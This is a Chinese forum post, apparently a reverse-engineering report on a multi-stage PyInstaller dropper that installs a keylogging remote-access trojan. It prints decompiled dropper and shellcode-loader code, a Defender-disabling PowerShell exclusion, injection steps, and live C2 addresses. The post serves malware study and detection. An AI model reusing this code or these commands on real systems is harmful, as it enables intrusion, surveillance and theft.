uzusy28.exe 恶意样本分析报告基本信息
执行摘要近期捕获的uzusy28.exe 是一个经过多层嵌套的恶意载荷投放器,通过 PyInstaller 打包 Python 脚本,经过 7 层嵌套后最终释放并执行一个功能完整的远控
木马(RAT)。攻击链涉及合法
软件伪装、Python 标准库篡改、Donut shellcode 加载、进程注入、
系统持久化等多种技术。是一个不错的分析对象。
攻击链总览
复制代码 隐藏代码L1:
uzusy28.exe (PyInstaller 打包, 21MB)├── L2:
oo.pyc (入口脚本)│ └── L3:
dd.pyc (包含加密 7z, 密码 "2026")│ └── L4:
wefault.exe (外层, 合法 mgodb 改名)│ └── L5:
app-xxx/wefault.exe (内层, pythonw.exe)│ └── L6:
python310.zip/encodings/__init__.pyc (被篡改)│ └── L7:
shellcode.bin (Donut Shellcode #1)│ └── L8:
fsch.dll (投放器/loader, 导出 f)│ └── L9:
base32.pyc → shellcode.bin2 (Donut Shellcode #2)│ └── L10:
RAT DLL (远控主体, 导出 run)
第一层:uzusy28.exe基本信息- 大小: 21 MB
- 类型: PyInstaller 打包的 Python 3.12 可执行文件(外层)
- 行为: PyInstaller 自解压到临时目录,执行入口脚本 oo.pyc
分析方法可以参考我之前的帖子,直接在线解包,也可以使用 pyinstxtractor 解包,提取内部 .pyc 文件。
第二层:oo.pyc(入口脚本)基本信息- 来源: PyInstaller 解包后的入口点
- 行为: 反编译后确认为恶意入口脚本
- 功能: 调用 dd.pyc 模块,触发后续攻击链
分析方法由于使用的是python3.12打包,必须使用pylingual,直接反编译可以获得结果。从反编译的代码中可以看出来从dd模块中导入了data,然后通过7z解压到可疑目录。
复制代码 隐藏代码import io
import py7zr
import ctypes
from dd
import data
def decompress_7z_from_memory(): source_data = data memory_file = io.BytesIO(source_data) password =
'2026' target_dir =
'C:/programdata/python' with py7zr.SevenZipFile(memory_file, mode=
'r', password=password)
as archive: archive.extractall(path=target_dir)
except py7zr.exceptions.PasswordRequired: print(
'错误:该压缩包需要密码。')
except py7zr.exceptions.Bad7zFile: print(
'错误:不是有效的 7z 文件或密码错误。')
except Exception
as e: print(
f'发生意外错误: {e}')
if __name__ ==
'__main__': hwnd = ctypes.windll.kernel32.GetConsoleWindow() ctypes.windll.user32.ShowWindow(hwnd,
0) decompress_7z_from_memory()
try: ctypes.windll.shell32.ShellExecuteW(
None,
'open',
'C:\programdata\python\wefault.exe',
'',
None,
1)
except:
# return None pass
第三层:dd.pyc(加密压缩包释放器)基本信息- 来源: PYZ 压缩包内提取的模块
- 行为: 内嵌一个 7z 压缩包,密码为 2026,见上面行为
- 功能: 解压并释放后续载荷到目标路径
第四层:wefault.exe(外层 — 合法软件伪装)基本信息- 原始软件: 合法的 MongoDB 数据库工具(mgodb)
- 伪装手段: 改名为 wefault.exe,伪装成系统相关程序
- 功能: 作为启动器,运行 app-xxx 目录下的同名文件 wefault.exe(内层)
分析方法通过数字签名知道这个是合法的工具,被利用了,通过ida反编译这个工具知道他的具体行为是启动app-xxx目录下的同名应用,这个启动器没有进行任何校验,这也给攻击者利用的空间

第五层:wefault.exe(内层 — pythonw.exe)基本信息- 实质: Python 3.10 的 pythonw.exe(无控制台窗口的 Python 解释器)
- 行为: 启动后加载 python310.zip 中的 Python 标准库
- 关键点: 标准库 encodings 模块已被攻击者篡改
分析方法最初也通过ida对这个文件进行分析,但最终发现这个文件没有问题,问题在下面,攻击者添加了一个恶意的pyc文件,实现自动加载恶意载荷。
第六层:encodings/init.pyc(被篡改的 Python 标准库)基本信息- 来源: python310.zip 内的 encodings/__init__.pyc
- 篡改方式: 在标准 encodings 模块中嵌入了恶意 shellcode 和加载逻辑
- 行为: Python 初始化时自动加载 encodings 模块,恶意代码随系统启动自动执行
- 隐蔽性: 利用 Python 标准库加载机制,不在主脚本中出现任何可疑代码
注意这个大小和修改日期
触发方式Python 解释器启动时会自动 import encodings 模块,因此恶意代码在 Python 初始化阶段即被执行,无需显式调用。
分析方法下面是反编译后的代码,因为是python3.10,多种反编译都可以。从反编译的代码中能看到清晰的恶意行为,通过创建可执行内存映射区域准备加载并执行一段Shellcode,属于典型的无文件内存注入技术框架。
复制代码 隐藏代码import ctypesfrom ctypes import wintypesshellcode = b'xxx'INVALID_HANDLE_VALUE = -1PAGE_EXECUTE_READWRITE = 64FILE_MAP_WRITE = 2FILE_MAP_EXECUTE = 32MEM_COMMIT = 4096MEM_RESERVE = 8192kernel32 = ctypes.windll.kernel32CreateFileMapping = kernel32.CreateFileMappingWCreateFileMapping.argtypes = [ wintypes.HANDLE, ctypes.c_void_p, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD, wintypes.LPCWSTR]CreateFileMapping.restype = wintypes.HANDLEMapViewOfFile = kernel32.MapViewOfFileMapViewOfFile.argtypes = [ wintypes.HANDLE, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD, ctypes.c_size_t]MapViewOfFile.restype = ctypes.c_void_pUnmapViewOfFile = kernel32.UnmapViewOfFileUnmapViewOfFile.argtypes = [ ctypes.c_void_p]UnmapViewOfFile.restype = wintypes.BOOLCloseHandle = kernel32.CloseHandleCloseHandle.argtypes = [ wintypes.HANDLE]CloseHandle.restype = wintypes.BOOLdef execute_shellcode(shellcode): hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None) pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))execute_shellcode(shellcode)
第七~八层:Donut Shellcode #1 → fsch.dllshellcode.bin 基本信息- 大小: 257 KB
- 加密方式: Donut framework 的 Chaskey-CTR 加密(这个可以写一篇新的文章进行讲解,在这里不是重点)
- 反分析: 内含 AMSI bypass、ETW bypass 等对抗机制
fsch.dll 基本信息fsch.dll 恶意行为详细分析1. 提权与重启 复制代码 隐藏代码ShellExecuteExA("runas") → 非管理员时请求管理员权限重新启动自身
2. 创建伪装目录与快捷方式- 创建目录: C:ProgramDataTencentTencent(伪装腾讯软件)
- 创建快捷方式: KOOK.lnk → 指向 wefault.exe(伪装 KOOK 聊天软件)

[font=-apple-system, BlinkMacSystemFont, "]3. 反杀软检测- 使用 CreateToolhelp32Snapshot 遍历进程列表
- 查找 360tray.exe(360 安全卫士)
- 根据检测结果调整后续行为
4. 关闭 Windows Defender 复制代码 隐藏代码powershell Add-MpPreference
-ExclusionPath 'C:'将 C: 整个盘符加入 Defender 排除路径。
5. 禁用 UAC(用户账户控制)修改注册表键值:
6. 修改 Startup 注册表将 Startup 文件夹指向攻击者控制的目录:
复制代码 隐藏代码HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorer
Shell FoldersStartup → C:ProgramDataTencentTencent
7. 创建计划任务持久化- 任务名称: MicrosoftMicrosoftUpdate
- 触发条件: 系统启动 + 用户登录
- 执行目标: C:ProgramDataPythonwefault.exe
- 创建方式: 通过 RPC pipeatsvc(直接调用任务计划程序 RPC 接口)
8. 加载最终载荷到这里链路就是完整的了,最开始一直疑惑不知道谁调用了外层的shellcode,原来这里调用了。
复制代码 隐藏代码sub_180001344: CreateFileW(
"C:ProgramDataPythonbase32.pyc") → CreateFileMappingW(PAGE_EXECUTE_READWRITE) → MapViewOfFile → 读取文件内容到可执行内存 → 跳转执行 (base32.pyc 即为第二层 shellcode)
关键辅助函数
第九~十层:Donut Shellcode #2 → RAT DLLshellcode.bin2 基本信息- 来源: base32.pyc(由 fsch.dll 通过 sub_180001344 加载到 RWX 内存执行)
- 大小: 373 KB(Donut 实例 292 KB)
- 加密方式: Donut Chaskey-CTR(不同密钥)
- 在磁盘上的路径: C:ProgramDataPythonbase32.pyc
RAT DLL 基本信息类结构 (RTTI)导出函数 run 分析 (RVA 0x11800)- 调用 GetComputerNameW 获取计算机名
- 创建互斥量 GlobalMutex_<hostname> 防止重复运行
- 检测火绒杀软: GetFileAttributesA("C:Program FilesHuorongSysdiagbinHipsDaemon.exe")
- 通过 DNS-over-HTTPS 解析 C2 地址: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
- 解析成功: 使用返回的 IP
- 解析失败: 回退到硬编码地址 43.154.90.28
创建主线程 StartAddress
主线程 StartAddress (0x180011070)- 提权:
- OpenProcessToken + AdjustTokenPrivileges → 获取 SeDebugPrivilege
- NtSetInformationProcess(ProcessBreakOnTermination=1) → 防止进程被任务管理器终止
初始化延迟: 从配置读取延迟秒数可选线程:- sub_180009790: 进程守护线程(监控注入的 svchost.exe,若退出则重新注入)
- sub_180009190: SeDebugPrivilege 提权 + NtSetInformationProcess
初始化传输对象:- CTcpSocket (0x18 字节): TCP 传输通道
- CUdpSocket (0x368 字节): KCP/UDP 传输通道
连接循环:- 交替使用两组 C2 配置
- 每 200 次尝试后切换到备用地址
- 连接成功后进入命令处理循环
C2 通信协议上线信标数据 (sub_180006F60)连接 C2 成功后,收集并发送以下系统信息(共 4732 字节):
C2 命令表 (sub_18000D390)键盘记录模块 (sub_1800119B0 + sub_180011DC0)初始化 (sub_1800119B0)- 获取 %LOCALAPPDATA% 路径
- 创建日志文件: %LOCALAPPDATA%DisplaySessionContainers.log
- 创建互斥量保护日志文件访问
- 检查日志文件大小,超过 50MB (0x3200000) 则删除
- 初始化 DirectInput8 (DirectX 输入系统)
- 设置键盘设备: 60 键缓冲区,数据格式 c_dfDIKeyboard
- 设置合作级别: DISCL_BACKGROUND | DISCL_NONEXCLUSIVE(后台静默记录)
- 获取 CapsLock 状态 (GetKeyState(VK_CAPITAL=20))
主记录循环 (sub_180011DC0) 复制代码 隐藏代码while (
true): Sleep(
1)
// 剪贴板监控 (每 1.5 秒) if GetTickCount() - last_check > 1500ms:
OpenClipboard(
0) data = GetClipboardData(CF_UNICODETEXT)
if data 变化: 格式化并发送剪贴板内容到 C2
CloseClipboard()
// 键盘状态轮询 DirectInput.
GetDeviceData(
24 bytes per
event) 解析 102 个虚拟键码 查表转换 scancode → 字符(含 Shift/CapsLock 状态处理) 累积按键到缓冲区
// 发送按键数据 if 缓冲区非空: 发送到 C2 清空缓冲区
键盘映射表- 使用 102 键映射表,每个条目 62 字节(包含基础键、Shift 键、CapsLock 键的字符)
- 特殊处理: Shift 键 (scancode 41/53)、CapsLock 键 (scancode 57)
- 日志文件: %LOCALAPPDATA%DisplaySessionContainers.log
进程注入与守护 (sub_1800093D0)svchost.exe 注入流程 复制代码 隐藏代码1. GetSystemDirectoryA → 获取系统目录 (截取前
3字符,如 "C:")
2. 构造路径:
"<盘符>WindowsSystem32svchost.exe"3. CreateProcessA(suspended, CREATE_SUSPENDED|CREATE_NO_WINDOW)
4. OpenProcess(PROCESS_ALL_ACCESS)
5. 准备注入数据 (v17,
304 bytes): - [
0] GetProcAddress(WinExec) → 执行程序 - [
1] GetProcAddress(OpenProcess) → 打开进程 - [
2] GetProcAddress(ExitProcess) → 退出进程 - [
3] GetProcAddress(WaitForSingleObject) → 等待 - [
4] GetCurrentProcessId() → 主进程 PID - [
6] GetModuleFileNameA() → 主程序完整路径
6. VirtualAllocEx(
0x130, RWX) → 在 svchost 中分配内存
7. WriteProcessMemory(注入数据)
8. VirtualProtectEx(PAGE_READONLY) → 设为只读保护
9. VirtualAllocEx(
0x1000, RWX) → 分配代码段内存
10. WriteProcessMemory(shellcode: sub_1800092A0)
11. VirtualProtectEx(PAGE_READONLY) → 保护代码段
12. CreateRemoteThread(entry=shellcode, param=注入数据, CREATE_SUSPENDED)
13. Sleep(
60秒)
14. VirtualProtectEx(RWX) → 解除保护
15. ResumeThread() → 启动远程线程
注入的 shellcode 逻辑 (sub_1800092A0) 复制代码 隐藏代码1. 从参数中读取函数指针: - WinExec (偏移
0) - OpenProcess (偏移
8) - ExitProcess (偏移
16) - WaitForSingleObject (偏移
24)
2. OpenProcess(PROCESS_ALL_ACCESS, FALSE, 主进程PID) → 获取主进程句柄
3. WaitForSingleObject(主进程句柄, INFINITE) → 等待主进程退出
4. WinExec(主程序路径, SW_HIDE) → 主进程被杀后,自动重新启动恶意程序
5. ExitProcess(
0) → 退出 svchost 宿主
效果: 当用户或杀软终止恶意进程时,注入在 svchost.exe 中的代码会立即重新启动恶意程序,形成进程守护机制。
注册表持久化会话管理 (sub_18000CFB0)当收到配置更新命令或反向连接命令时:
- 解析配置字符串,提取 p1/o1/t1(地址/端口/类型)
- 根据传输类型创建 CTcpSocket(type=1) 或 CUdpSocket(type=0)
- 连接指定 C2 地址
- 创建 CManager + CLoginManager 会话
- 从注册表 HKCUConsole1 加载所有已保存的插件
- 发送上线信标
- 进入命令处理循环
插件加载机制 (sub_18000CBC0)- 检查是否为 onlyloadinmyself 模式(仅加载自身进程内的模块)
- 在目标内存中搜索 plugmark 标记
- 将插件数据写入标记位置
- 通过 sub_180010960 + sub_180010DA0 解析并执行插件
- 向 C2 返回执行结果
完整攻击链时序图 复制代码 隐藏代码[用户运行 uzusy28.exe] │ ▼
[PyInstaller 自解压到临时目录] │ ▼
[执行 oo.pyc] ←
Python 入口脚本 │ ▼
[调用 dd.pyc] ← 解压内嵌
7z (密码
"2026") │ ▼
[释放 wefault.exe (外层)] ← 合法
mgodb 改名 │ ▼
[启动 app-xxx/wefault.exe (内层)] ←
pythonw.exe │ ▼
[Python 自动加载 encodings 模块] │ ▼
[encodings/__init__.pyc 执行恶意代码] │ ▼
[Donut Shellcode #1 解密执行] │ ▼
[fsch.dll (导出 f) 执行] │ ├── 请求管理员权限 (runas) ├── 创建
C:
ProgramDataTencentTencent 目录 ├── 创建
KOOK.lnk 快捷方式 ├── 检测
360 杀软 ├── 关闭
Windows Defender (排除
C:) ├── 禁用
UAC (
3个注册表值) ├── 修改
Startup 注册表 ├── 创建计划任务
MicrosoftMicrosoftUpdate │ ▼
[读取 base32.pyc 到 RWX 内存并执行] │ ▼
[Donut Shellcode #2 解密执行] │ ▼
[RAT DLL (导出 run) 执行] │ ├── 提权:
SeDebugPrivilege +
ProcessBreakOnTermination ├── 检测火绒杀软 (HipsDaemon.exe) ├──
DNS-over-HTTPS 解析
C2 ├── 连接
43.154.90.28 (TCP/KCP) ├── 发送系统信息 (
4732 bytes) ├── 等待
C2 命令 │ ├── 屏幕截图 │ ├── 键盘记录 (DirectInput8) │ ├── 剪贴板监控 │ ├── 文件管理 │ ├── 远程命令执行 │ ├── 进程注入 (svchost.exe 守护) │ ├── 清除事件日志 │ ├── 系统电源控制 │ └── 插件加载与管理 │ └──
[持续运行,等待指令]
IOC (入侵指标)文件网络注册表互斥量计划任务
分析环境